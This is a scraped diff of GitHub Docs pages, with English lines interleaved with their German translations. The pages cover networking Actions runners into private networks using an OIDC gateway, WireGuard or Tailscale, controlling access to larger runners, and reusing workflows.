With {% data variables.product.prodname_actions %}, you can use OpenID Connect (OIDC) tokens to authenticate your workflow outside of {% data variables.product.prodname_actions %}. For example, you could run an API Gateway on the edge of your private network that authenticates incoming requests with the OIDC token and then makes API requests on behalf of your workflow in your private network.
Mit {% data variables.product.prodname_actions %} kannst du OIDC-Token (OpenID Connect) verwenden, um deine Workflow außerhalb von {% data variables.product.prodname_actions %} zu authentifizieren. Du kannst beispielsweise ein API-Gateway am Edge deines privaten Netzwerks ausführen, das eingehende Anforderungen mit dem OIDC-Token authentifiziert und dann API-Anforderungen im Auftrag deines Workflows in deinem privaten Netzwerk ausführt.
The following diagram gives an overview of this solution's architecture:
Im folgenden Diagramm findest du einen Überblick über die Architektur dieser Lösung:
![Diagram of an OIDC gateway](/assets/images/help/images/actions-oidc-gateway.png)
![Diagramm eines OIDC-Gateways](/assets/images/help/images/actions-oidc-gateway.png)
It's important that you authenticate not just that the OIDC token came from {% data variables.product.prodname_actions %}, but that it came specifically from your expected workflows, so that other {% data variables.product.prodname_actions %} users aren't able to access services in your private network. You can use OIDC claims to create these conditions. For more information, see "[Defining trust conditions on cloud roles using OIDC claims](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#defining-trust-conditions-on-cloud-roles-using-oidc-claims)."
Es ist wichtig, nicht nur zu authentifizieren, dass das OIDC-Token aus {% data variables.product.prodname_actions %} stammt, sondern speziell aus deinen erwarteten Workflows, sodass andere {% data variables.product.prodname_actions %}-Benutzer nicht auf Dienste in deinem privaten Netzwerk zugreifen können. Du kannst OIDC-Ansprüche verwenden, um diese Bedingungen zu erstellen. Weitere Informationen findest du unter [Definieren von Vertrauensbedingungen für Cloudrollen mithilfe von OIDC-Ansprüchen](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#defining-trust-conditions-on-cloud-roles-using-oidc-claims).
The main disadvantage of this approach is you have to implement the API gateway to make requests on your behalf, as well as run it on the edge of your network.
Der Hauptnachteil dieses Ansatzes ist, dass du das API-Gateway implementieren musst, damit Anforderungen in deinem Auftrag ausgeführt werden, und es am Rand deines Netzwerks ausführen.
But there are various advantages too:
- You don't need to configure any firewalls, or modify the routing of your private network.
- The API gateway is stateless, and so it scales horizontally to handle high availability and high throughput.
Aber es gibt auch verschiedene Vorteile:
- Du musst keine Firewalls konfigurieren oder das Routing deines privaten Netzwerks ändern.
- Das API-Gateway ist zustandslos und wird daher für Hochverfügbarkeit und hohen Durchsatz horizontal skaliert.
For more information, see [a reference implementation of an API Gateway](https://github.com/github/actions-oidc-gateway-example) (note that this requires customization for your use case and is not ready-to-run as-is), and "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)".
Weitere Informationen findest du in [einer Referenzimplementierung eines API-Gateways](https://github.com/github/actions-oidc-gateway-example) (beachte, dass dies Anpassungen für deinen Anwendungsfall erfordert und nicht sofort einsatzbereit ist) und unter [Informationen zur Sicherheitshärtung mit OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).
{% endif %}
### Using WireGuard to create a network overlay
### Verwenden von WireGuard zum Erstellen einer Netzwerküberlagerung
If you don't want to maintain separate infrastructure for an API Gateway, you can create an overlay network between your runner and a service in your private network, by running WireGuard in both places.
Wenn du keine separate Infrastruktur für ein API-Gateway verwalten möchtest, kannst du ein Überlagerungsnetzwerk zwischen deinem Runner und einem Dienst in deinem privaten Netzwerk erstellen, indem du WireGuard an beiden Stellen ausführst.
There are various disadvantages to this approach:
Dieser Ansatz bringt verschiedene Nachteile mit sich:
- To reach WireGuard running on your private service, you will need a well-known IP address and port that your workflow can reference: this can either be a public IP address and port, a port mapping on a network gateway, or a service that dynamically updates DNS.
- WireGuard doesn't handle NAT traversal out of the box, so you'll need to identify a way to provide this service.
- This connection is one-to-one, so if you need high availability or high throughput you'll need to build that on top of WireGuard.
- You'll need to generate and securely store keys for both the runner and your private service. WireGuard uses UDP, so your network must support UDP traffic.
- Um das auf deinem privaten Dienst ausgerführte WireGuard zu erreichen, benötigst du eine bekannte IP-Adresse und einen Port, auf die dein Workflow verweisen kann: Das können entweder eine öffentliche IP-Adresse und ein Port sein, eine Portzuordnung auf einem Netzwerkgateway oder ein Dienst, der DNS dynamisch aktualisiert.
- WireGuard führt das NAT-Traversal nicht standardmäßig aus, sodass du einen Weg finden musst, diesen Dienst bereitzustellen.
- Es handelt sich um eine 1:1-Verbindung. Wenn du Hochverfügbarkeit oder hohen Durchsatz benötigst, musst du dies also auf WireGuard aufbauen.
- Du musst sowohl für den Runner als auch für deinen privaten Dienst Schlüssel generieren und sicher speichern. WireGuard verwendet UDP, sodass dein Netzwerk UDP-Datenverkehr unterstützen muss.
There are some advantages too, as you can run WireGuard on an existing server so you don't have to maintain separate infrastructure, and it's well supported on {% data variables.product.prodname_dotcom %}-hosted runners.
Es gibt auch einige Vorteile, da du WireGuard auf einem vorhandenen Server ausführen kannst, sodass du keine separate Infrastruktur verwalten musst, und die Unterstützung durch Runner, die von {% data variables.product.prodname_dotcom %} gehostet werden, ist gut.
### Example: Configuring WireGuard
### Beispiel: Konfigurieren von WireGuard
This example workflow configures WireGuard to connect to a private service.
In diesem Beispielworkflow wird WireGuard so konfiguriert, dass eine Verbindung mit einem privaten Dienst hergestellt wird.
For this example, the WireGuard instance running in the private network has this configuration:
- Overlay network IP address of `192.168.1.1`
- Public IP address and port of `1.2.3.4:56789`
- Public key `examplepubkey1234...`
In diesem Beispiel weist die im privaten Netzwerk ausgeführte WireGuard-Instanz diese Konfiguration auf:
- Überlagerungsnetzwerk-IP-Adresse `192.168.1.1`
- Öffentliche IP-Adresse und Port `1.2.3.4:56789`
- Öffentlicher Schlüssel `examplepubkey1234...`
The WireGuard instance in the {% data variables.product.prodname_actions %} runner has this configuration:
- Overlay network IP address of `192.168.1.2`
- Private key stores as an {% data variables.product.prodname_actions %} secret under `WIREGUARD_PRIVATE_KEY`
Die WireGuard-Instanz im {% data variables.product.prodname_actions %}-Runner weist diese Konfiguration auf:
- Überlagerungsnetzwerk-IP-Adresse `192.168.1.2`
- Der private Schlüssel wird als {% data variables.product.prodname_actions %}-Geheimnis unter `WIREGUARD_PRIVATE_KEY` gespeichert.
```yaml
name: WireGuard example
@ -92,14 +95,14 @@ jobs:
- run: curl -vvv http://192.168.1.1
```
For more information, see [WireGuard's Quick Start](https://www.wireguard.com/quickstart/), as well as "[Encrypted Secrets](/actions/security-guides/encrypted-secrets)" for how to securely store keys.
Weitere Informationen zum sicheren Speichern von Schlüsseln findest du im [WireGuard-Schnellstart](https://www.wireguard.com/quickstart/) sowie unter [Verschlüsselte Geheimnisse](/actions/security-guides/encrypted-secrets).
### Using Tailscale to create a network overlay
### Verwenden von Tailscale zum Erstellen einer Netzwerküberlagerung
Tailscale is a commercial product built on top of WireGuard. This option is very similar to WireGuard, except Tailscale is more of a complete product experience instead of an open source component.
Tailscale ist ein kommerzielles Produkt, das auf WireGuard basiert. Diese Option ähnelt WireGuard sehr, mit der Ausnahme, dass Tailscale eher ein vollständiges Produkt als eine Open Source-Komponente ist.
It's disadvantages are similar to WireGuard: The connection is one-to-one, so you might need to do additional work for high availability or high throughput. You still need to generate and securely store keys. The protocol is still UDP, so your network must support UDP traffic.
Die Nachteile sind ähnlich wie bei WireGuard: Es handelt sich um eine 1:1-Verbindung, sodass möglicherweise ein zusätzlicher Arbeitsaufwand für Hochverfügbarkeit oder hohen Durchsatz entsteht. Du musst weiterhin Schlüssel generieren und sicher speichern. Das Protokoll ist weiterhin UDP, sodass dein Netzwerk UDP-Datenverkehr unterstützen muss.
However, there are some advantages over WireGuard: NAT traversal is built-in, so you don't need to expose a port to the public internet. It is by far the quickest of these options to get up and running, since Tailscale provides an {% data variables.product.prodname_actions %} workflow with a single step to connect to the overlay network.
Es gibt jedoch einige Vorteile gegenüber WireGuard: NAT-Traversal ist integriert, sodass du keinen Port im öffentlichen Internet verfügbar machen musst. Diese Option führt bei weitem am schnellsten zur Einsatzbereitschaft, da Tailscale einen {% data variables.product.prodname_actions %}-Workflow mit einem einzigen Schritt zum Herstellen der Verbindung mit dem Überlagerungsnetzwerk bietet.
For more information, see the [Tailscale GitHub Action](https://github.com/tailscale/github-action), as well as "[Encrypted Secrets](/actions/security-guides/encrypted-secrets)" for how to securely store keys.
Weitere Informationen zum sicheren Speichern von Schlüsseln findest du unter [Tailscale GitHub Action](https://github.com/tailscale/github-action) sowie [Verschlüsselte Geheimnisse](/actions/security-guides/encrypted-secrets).

Просмотреть файл

@ -1,72 +1,73 @@
---
title: Controlling access to larger runners
title: Steuern des Zugriffs auf größere Runner
shortTitle: 'Control access to {% data variables.actions.hosted_runner %}s'
intro: 'You can use policies to limit access to {% data variables.actions.hosted_runner %}s that have been added to an organization or enterprise.'
intro: 'Du kannst mithilfe von Richtlinien den Zugriff auf {% data variables.actions.hosted_runner %} beschränken, die einer Organisation oder einem Unternehmen hinzugefügt wurden.'
product: '{% data reusables.gated-features.hosted-runners %}'
miniTocMaxHeadingLevel: 3
versions:
feature: actions-hosted-runners
type: tutorial
ms.openlocfilehash: d19e875ae8ee4556e635540f47625fa5a9874918
ms.sourcegitcommit: a35d85531445980b5f04d3fc70180a29dad37f89
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 12/01/2022
ms.locfileid: '148189905'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zu Runnergruppen
## About runner groups
{% data reusables.actions.about-runner-groups %} {% ifversion fpt %}Weitere Informationen findest du in der [Dokumentation zu {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/using-github-hosted-runners/controlling-access-to-larger-runners).{% endif %}
{% data reusables.actions.about-runner-groups %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/using-github-hosted-runners/controlling-access-to-larger-runners).{% endif %}
### Standardgruppe für {% data variables.actions.hosted_runner %}
### Default group for {% data variables.actions.hosted_runner %}s
Organizations and enterprises with access to {% data variables.actions.hosted_runner %}s will automatically receive a default runner group called "Default Larger Runners" that includes 4 runners of varying sizes. The runners in this group are pre-configured and ready for immediate use. In order to use the runners in this group, you will need to add the label corresponding to the runner of your choice to your workflow file. See the table below for labels. For more information on how to use labels, see "[Running jobs on your runner](/actions/using-github-hosted-runners/using-larger-runners#running-jobs-on-your-runner)."
Organisationen und Unternehmen mit Zugriff auf {% data variables.actions.hosted_runner %} erhalten automatisch eine Standardrunnergruppe namens „Default Larger Runners“, die aus vier unterschiedlich großen Runnern besteht. Die Runner in dieser Gruppe sind vorkonfiguriert und sofort einsatzbereit. Um die Runner in dieser Gruppe verwenden zu können, musst du der Workflowdatei die Bezeichnung hinzufügen, die dem Runner deiner Wahl entspricht. Die Bezeichnungen findest du in der folgenden Tabelle. Weitere Informationen zur Verwendung von Bezeichnungen findest du unter [Ausführen von Aufträgen auf Runnern](/actions/using-github-hosted-runners/using-larger-runners#running-jobs-on-your-runner).
#### Default Runners
#### Standardrunner
|Description | Label | Image |
|Beschreibung | Bezeichnung | Image |
| ------- | ------- | ------ |
| 4-cores Ubuntu Runner | `ubuntu-latest-4-cores` | Ubuntu - Latest |
| 8-cores Ubuntu Runner | `ubuntu-latest-8-cores` | Ubuntu - Latest |
| 16-cores Ubuntu Runner | `ubuntu-latest-16-cores` | Ubuntu - Latest |
| 8-cores Windows Runner | `windows-latest-8-cores` | Windows Server - Latest |
| Ubuntu-Runner mit vier Kernen | `ubuntu-latest-4-cores` | Ubuntu (neueste Version) |
| Ubuntu-Runner mit acht Kernen | `ubuntu-latest-8-cores` | Ubuntu (neueste Version) |
| Ubuntu-Runner mit 16 Kernen | `ubuntu-latest-16-cores` | Ubuntu (neueste Version) |
| Windows-Runner mit acht Kernen | `windows-latest-8-cores` | Windows Server (neueste Version) |
The default {% data variables.actions.hosted_runner %} group is created at the billing entity level. If your organization is part of an enterprise account, the group will be managed on the enterprise level. If your organization does not fall under an enterprise, the group is managed on the organization level.
Die Standard-{% data variables.actions.hosted_runner %}gruppe wird auf Ebene der Abrechnungsentität erstellt. Wenn deine Organisation Teil eines Unternehmenskontos ist, wird die Gruppe auf Unternehmensebene verwaltet. Wenn deine Organisation keinem Unternehmen angehört, wird die Gruppe auf Organisationsebene verwaltet.
You will not be billed for these runners until you use them in your workflows. Once these runners are used, billing works as it normally does. For more information on billing, see "[Using {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners#understanding-billing)."
Diese Runner werden erst in Rechnung gestellt, wenn du sie in deinen Workflows verwendest. Sobald diese Runner verwendet werden, erfolgt die Abrechnung wie gewohnt. Weitere Informationen zur Abrechnung findest du unter [Verwenden von {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/using-larger-runners#understanding-billing).
The default access for a {% data variables.actions.hosted_runner %} group at the enterprise level is set to automatically share with all organizations in the enterprise, but not all repositories. Organization admins will need to share the default {% data variables.actions.hosted_runner %} group with each repository separately. For {% data variables.actions.hosted_runner %} groups at the organization level, the default access is set to automatically share the group with all repositories. For more information on how to change access policies, and where to view the default {% data variables.actions.hosted_runner %} group, see "[Changing the access policy of a runner group](#changing-the-access-policy-of-a-runner-group)."
Der Standardzugriff für eine {% data variables.actions.hosted_runner %}gruppe auf Unternehmensebene ist so festgelegt, dass Inhalt automatisch für alle Organisationen im Unternehmen freigegeben wird, aber nicht für alle Repositorys. Organisationsadministrator*innen müssen die Standard-{% data variables.actions.hosted_runner %}gruppe für jedes Repository separat freigeben. Für {% data variables.actions.hosted_runner %}gruppen auf Organisationsebene ist der Standardzugriff so festgelegt, dass die Gruppe automatisch für alle Repositorys freigegeben wird. Weitere Informationen zum Ändern von Zugriffsrichtlinien und zum Anzeigen der Standard-{% data variables.actions.hosted_runner %}gruppe findest du unter [Ändern der Zugriffsrichtlinie einer Runnergruppe](#changing-the-access-policy-of-a-runner-group).
{% ifversion ghec or ghes or ghae %}
## Creating a runner group for an organization
## Erstellen einer Runnergruppe für eine Organisation
{% data reusables.actions.hosted-runner-security-admonition %}
{% data reusables.actions.creating-a-runner-group-for-an-organization %}
{% data reusables.actions.hosted-runner-security-admonition %} {% data reusables.actions.creating-a-runner-group-for-an-organization %}
## Creating a runner group for an enterprise
## Erstellen einer Runnergruppe für ein Unternehmen
{% data reusables.actions.hosted-runner-security-admonition %}
{% data reusables.actions.creating-a-runner-group-for-an-enterprise %}
{% data reusables.actions.hosted-runner-security-admonition %} {% data reusables.actions.creating-a-runner-group-for-an-enterprise %}
{% endif %}
{% data reusables.actions.section-using-unique-names-for-runner-groups %}
## Changing the access policy of a runner group
## Ändern der Zugriffsrichtlinie einer Runnergruppe
{% data reusables.actions.hosted-runner-security-admonition %}
{% data reusables.actions.changing-the-access-policy-of-a-runner-group %}
{% data reusables.actions.hosted-runner-security-admonition %} {% data reusables.actions.changing-the-access-policy-of-a-runner-group %}
## Changing the name of a runner group
## Ändern des Namens einer Runnergruppe
{% data reusables.actions.changing-the-name-of-a-runner-group %}
{% ifversion ghec or ghes or ghae %}
## Moving a runner to a group
## Verschieben eines Runners in eine Gruppe
{% data reusables.actions.moving-a-runner-to-a-group %}
## Removing a runner group
## Entfernen einer Runnergruppe
{% data reusables.actions.removing-a-runner-group %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Reusing workflows
title: Wiederverwenden von Workflows
shortTitle: Reuse workflows
intro: Learn how to avoid duplication when creating a workflow by reusing existing workflows.
intro: 'Hier erfährst du, wie du beim Erstellen eines Workflows Duplizierungen vermeiden kannst, indem du bereits vorhandene Workflows erneut verwendest.'
redirect_from:
- /actions/learn-github-actions/reusing-workflows
miniTocMaxHeadingLevel: 3
@ -13,93 +13,96 @@ versions:
type: how_to
topics:
- Workflows
ms.openlocfilehash: 2053b2bfd653a1f6633ab5d568e5b2fdb75d7335
ms.sourcegitcommit: 9af8891fea10039b3374c76818634e05410e349d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 12/06/2022
ms.locfileid: '148191926'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.reusable-workflows-enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.reusable-workflows-enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Übersicht
## Overview
Damit du nicht zwischen Workflows kopieren musst, kannst du Workflows wiederverwendbar machen. Du und alle anderen, die Zugriff auf den wiederverwendbaren Workflow haben, können diesen dann in einem anderen Workflow aufrufen.
Rather than copying and pasting from one workflow to another, you can make workflows reusable. You and anyone with access to the reusable workflow can then call the reusable workflow from another workflow.
Durch das Wiederverwenden von Workflows wird Duplizierung vermieden. Dies vereinfacht die Wartung von Workflows und ermöglicht ein schnelleres Erstellen neuer Workflows, da auf der Arbeit anderer aufgebaut werden kann, genau wie bei Aktionen. Die Wiederverwendung von Workflows fördert auch die Nutzung bewährter Methoden, da sie dich dabei unterstützt, gut strukturierte Workflows zu verwenden, die bereits getestet wurden und sich als effektiv erwiesen haben. Deine Organisation kann eine Bibliothek mit wiederverwendbaren Workflows erstellen, die zentral verwaltet werden kann.
Reusing workflows avoids duplication. This makes workflows easier to maintain and allows you to create new workflows more quickly by building on the work of others, just as you do with actions. Workflow reuse also promotes best practice by helping you to use workflows that are well designed, have already been tested, and have been proven to be effective. Your organization can build up a library of reusable workflows that can be centrally maintained.
Das folgende Diagramm zeigt eine laufende Workflowausführung, die einen wiederverwendbaren Workflow verwendet.
The diagram below shows an in-progress workflow run that uses a reusable workflow.
* Nachdem jeder der drei Buildaufträge auf der linken Seite des Diagramms erfolgreich abgeschlossen wurde, wird ein abhängiger Auftrag namens „Deploy“ ausgeführt.
* Im „Deploy“-Auftrag wird ein wiederverwendbarer Workflow aufgerufen, der drei Aufträge enthält: „Staging“, „Review“ und „Production“.
* Der Bereitstellungsauftrag „Production“ wird erst ausgeführt, wenn der Auftrag „Staging“ erfolgreich abgeschlossen wurde.
* Wenn ein Auftrag auf eine Umgebung abzielt, zeigt die Workflowausführung eine Statusleiste an, die die Anzahl der Schritte im Auftrag anzeigt. Im folgenden Diagramm enthält der Auftrag „Production“ acht Schritte, wobei Schritt 6 derzeit verarbeitet wird.
* Die Nutzung eines wiederverwendbaren Workflows für das Ausführen von Bereitstellungsaufträgen ermöglicht dir das Ausführen dieser Aufträge für jeden Build, ohne dass du Code in Workflows duplizieren musst.
* After each of three build jobs on the left of the diagram completes successfully, a dependent job called "Deploy" is run.
* The "Deploy" job calls a reusable workflow that contains three jobs: "Staging", "Review", and "Production."
* The "Production" deployment job only runs after the "Staging" job has completed successfully.
* When a job targets an environment, the workflow run displays a progress bar that shows the number of steps in the job. In the diagram below, the "Production" job contains 8 steps, with step 6 currently being processed.
* Using a reusable workflow to run deployment jobs allows you to run those jobs for each build without duplicating code in workflows.
![Diagramm mit einem wiederverwendbaren Workflow für die Bereitstellung](/assets/images/help/images/reusable-workflows-ci-cd.png)
![Diagram of a reusable workflow for deployment](/assets/images/help/images/reusable-workflows-ci-cd.png)
Ein Workflow, in dem ein anderer Workflow verwendet wird, wird als aufrufender Workflow bezeichnet. Der wiederverwendbare Workflow ist ein aufgerufener Workflow. In einem aufrufenden Workflow können mehrere aufgerufene Workflows verwendet werden. Auf jeden aufgerufenen Workflow wird in nur jeweils einer Zeile verwiesen. Dies führt dazu, dass die Datei mit dem aufrufenden Workflow möglicherweise nur ein paar wenige Zeilen YAML-Code enthält, beim Ausführen jedoch viele Tasks ausführt. Wenn du einen Workflow wiederverwendest, wird der gesamte aufgerufene Workflow verwendet, als wäre er Teil des aufrufenden Workflows.
A workflow that uses another workflow is referred to as a "caller" workflow. The reusable workflow is a "called" workflow. One caller workflow can use multiple called workflows. Each called workflow is referenced in a single line. The result is that the caller workflow file may contain just a few lines of YAML, but may perform a large number of tasks when it's run. When you reuse a workflow, the entire called workflow is used, just as if it was part of the caller workflow.
Wenn du einen Workflow aus einem anderen Repository wiederverwendest, werden alle Aktionen im aufgerufenen Workflow ausgeführt, als wären sie Teil des aufrufenden Workflows. Wenn im aufgerufenen Workflow `actions/checkout` verwendet wird, überprüft die Aktion beispielsweise den Inhalt des Repositorys, in dem der aufrufende Workflow gehostet wird, nicht den des Repositorys des aufgerufenen Workflows.
If you reuse a workflow from a different repository, any actions in the called workflow run as if they were part of the caller workflow. For example, if the called workflow uses `actions/checkout`, the action checks out the contents of the repository that hosts the caller workflow, not the called workflow.
Wenn ein wiederverwendbarer Workflow durch einen aufrufenden Workflow ausgelöst wird, wird der Kontext `github` immer dem aufrufenden Workflow zugeordnet. Dem aufgerufenen Workflow wird automatisch Zugriff auf `github.token` und `secrets.GITHUB_TOKEN` gewährt. Weitere Informationen zum Kontext `github` findest du unter [Syntax für Kontexte und Ausdrücke für GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#github-context).
When a reusable workflow is triggered by a caller workflow, the `github` context is always associated with the caller workflow. The called workflow is automatically granted access to `github.token` and `secrets.GITHUB_TOKEN`. For more information about the `github` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)."
Du kannst die wiederverwendeten Workflows, auf die in deinen {% data variables.product.prodname_actions %}-Workflows verwiesen wird, im Abhängigkeitsdiagramm des Repositorys, in dem deine Workflows sich befinden, als Abhängigkeiten anzeigen. Weitere Informationen findest du unter [Informationen zum Abhängigkeitsdiagramm](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).
You can view the reused workflows referenced in your {% data variables.product.prodname_actions %} workflows as dependencies in the dependency graph of the repository containing your workflows. For more information, see “[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).”
### Wiederverwendbare Workflows und Starterworkflows
### Reusable workflows and starter workflows
Mit Starterworkflows können alle Personen in deiner Organisation, die über die entsprechenden Berechtigungen verfügen, Workflows schneller und leichter erstellen. Wenn sie einen neuen Workflow erstellen, können sie einen Starterworkflow auswählen und sich so das Schreiben des Workflows ganz oder teilweise sparen. In einem Starterworkflow kann auch auf wiederverwendbare Workflows verwiesen werden, damit Benutzer*innen leicht von der Wiederverwendung zentral verwalteten Workflowcodes profitieren können. Wenn du beim Verweisen auf den wiederverwendbaren Workflow einen Commit-SHA verwendest, kannst du sicherstellen, dass Personen, die diesen Workflow wiederverwenden, immer denselben YAML-Code nutzen. Wenn du über ein Tag oder einen Branch auf einen wiederverwendbaren Workflow verweist, musst du jedoch sicherstellen, dass diese Version des Workflows vertrauenswürdig ist. Weitere Informationen findest du unter [Sicherheitshärtung für {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows).
Starter workflows allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When people create a new workflow, they can choose a starter workflow and some or all of the work of writing the workflow will be done for them. Within a starter workflow, you can also reference reusable workflows to make it easy for people to benefit from reusing centrally managed workflow code. If you use a commit SHA when referencing the reusable workflow, you can ensure that everyone who reuses that workflow will always be using the same YAML code. However, if you reference a reusable workflow by a tag or branch, be sure that you can trust that version of the workflow. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows)."
Weitere Informationen findest du unter [Erstellen von Starterworkflows für deine Organisation](/actions/learn-github-actions/creating-starter-workflows-for-your-organization).
For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
## Zugriff auf wiederverwendbare Workflows
## Access to reusable workflows
Ein wiederverwendbarer Workflow kann von einem anderen Workflow verwendet werden, wenn {% ifversion ghes or ghec or ghae %}eine{% else %}eine{% endif %} der folgenden Aussagen zutrifft:
A reusable workflow can be used by another workflow if {% ifversion ghes or ghec or ghae %}any{% else %}either{% endif %} of the following is true:
* Beide Workflows befinden sich im selben Repository.
* Der aufgerufene Workflow befindet sich in einem öffentlichen Repository{% ifversion actions-workflow-policy %}, und {% ifversion ghec %}dein Unternehmen{% else %}deine Organisation{% endif %} gestattet die Nutzung öffentlicher wiederverwendbarer Workflows{% endif %}.{% ifversion ghes or ghec or ghae %}
* Der aufgerufene Workflow befindet sich in einem internen Repository, und die Einstellungen für dieses Repository ermöglichen den Zugriff darauf. Weitere Informationen findest du unter {% ifversion internal-actions %}[Freigeben von Aktionen und Workflows für dein Unternehmen](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise){% else %}[Verwalten von {% data variables.product.prodname_actions %}-Einstellungen für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository){% endif %}.{% endif %}
* Both workflows are in the same repository.
* The called workflow is stored in a public repository{% ifversion actions-workflow-policy %}, and your {% ifversion ghec %}enterprise{% else %}organization{% endif %} allows you to use public reusable workflows{% endif %}.{% ifversion ghes or ghec or ghae %}
* The called workflow is stored in an internal repository and the settings for that repository allow it to be accessed. For more information, see {% ifversion internal-actions %}"[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise){% else %}"[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository){% endif %}."{% endif %}
## Using runners
## Verwenden von Runnern
{% ifversion fpt or ghes or ghec %}
### Using GitHub-hosted runners
### Verwenden von auf GitHub gehosteten Runnern
The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
Die Zuweisung von auf {% data variables.product.prodname_dotcom %} gehosteten Runnern wird immer nur mit dem Kontext des aufrufenden Workflows ausgewertet. Die Abrechnung für auf {% data variables.product.prodname_dotcom %} gehostete Runner wird immer dem aufrufenden Workflow zugeordnet. Der aufrufende Workflow kann auf {% data variables.product.prodname_dotcom %} gehostete Runner nicht über das aufgerufene Repository verwenden. Weitere Informationen findest du unter [Informationen zu auf {% data variables.product.prodname_dotcom %} gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners).
### Using self-hosted runners
### Verwenden von selbstgehosteten Runnern
{% endif %}
Called workflows that are owned by the same user or organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %} as the caller workflow can access self-hosted runners from the caller's context. This means that a called workflow can access self-hosted runners that are:
* In the caller repository
* In the caller repository's organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %}, provided that the runner has been made available to the caller repository
Aufgerufene Workflows, die demselben Benutzer bzw. derselben Benutzerin oder derselben Organisation{% ifversion ghes or ghec or ghae %} oder demselben Unternehmen{% endif %} gehören wie der aufrufende Workflow, können über den Kontext des aufrufenden Workflows auf selbstgehostete Runner zugreifen. Dies bedeutet, dass ein aufgerufener Workflow auf selbstgehostete Runner zugreifen kann, auf die Folgendes zutrifft:
* Du befindest dich im Repository des aufrufenden Workflows.
* Du gehörst zur selben Organisation{% ifversion ghes or ghec or ghae %} oder zum selben Unternehmen{% endif %} wie das Repository des aufrufenden Workflows, und der Runner wurde für das aufrufende Repository verfügbar gemacht.
## Limitations
## Einschränkungen
{% ifversion nested-reusable-workflow %}
* You can connect up to four levels of workflows. For more information, see "[Nesting reusable workflows](#nesting-reusable-workflows)."
* Du kannst bis zu vier Workflowebenen verbinden. Weitere Informationen findest du unter [Schachteln wiederverwendbarer Workflows](#nesting-reusable-workflows).
{% else %}
* Reusable workflows can't call other reusable workflows.
* In wiederverwendbaren Workflows können keine anderen wiederverwendbaren Workflows aufgerufen werden.
{% endif %}
* Reusable workflows stored within a private repository can only be used by workflows within the same repository.
* Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information about the `env` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)."{% ifversion actions-reusable-workflow-matrix %}{% else %}
* The `strategy` property is not supported in any job that calls a reusable workflow.{% endif %}
* In einem privaten Repository gespeicherte wiederverwendbare Workflows können nur von Workflows innerhalb desselben Repositorys verwendet werden.
* Alle Umgebungsvariablen, die in einem `env`-Kontext festgelegt werden, der im aufrufenden Workflow auf Workflowebene definiert ist, werden nicht an den aufgerufenen Workflow übergeben. Weitere Informationen zum Kontext `env` findest du unter [Syntax für Kontext und Ausdrücke bei GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context).{% ifversion actions-reusable-workflow-matrix %}{% else %}
* Die Eigenschaft `strategy` wird nicht in Aufträgen unterstützt, in denen ein wiederverwendbarer Workflow aufgerufen wird.{% endif %}
## Creating a reusable workflow
## Erstellen eines wiederverwendbaren Workflows
Reusable workflows are YAML-formatted files, very similar to any other workflow file. As with other workflow files, you locate reusable workflows in the `.github/workflows` directory of a repository. Subdirectories of the `workflows` directory are not supported.
Wiederverwendbare Workflows sind Dateien mit YAML-Code, die anderen Workflowdateien sehr ähneln. Wie andere Workflowdateien auch, findest du wiederverwendbare Workflows im Verzeichnis `.github/workflows` eines Repositorys. Unterverzeichnisse des Verzeichnisses `workflows` werden nicht unterstützt.
For a workflow to be reusable, the values for `on` must include `workflow_call`:
Damit ein Workflow wiederverwendbar ist, müssen die Werte für `on` `workflow_call` beinhalten:
```yaml
on:
workflow_call:
```
### Using inputs and secrets in a reusable workflow
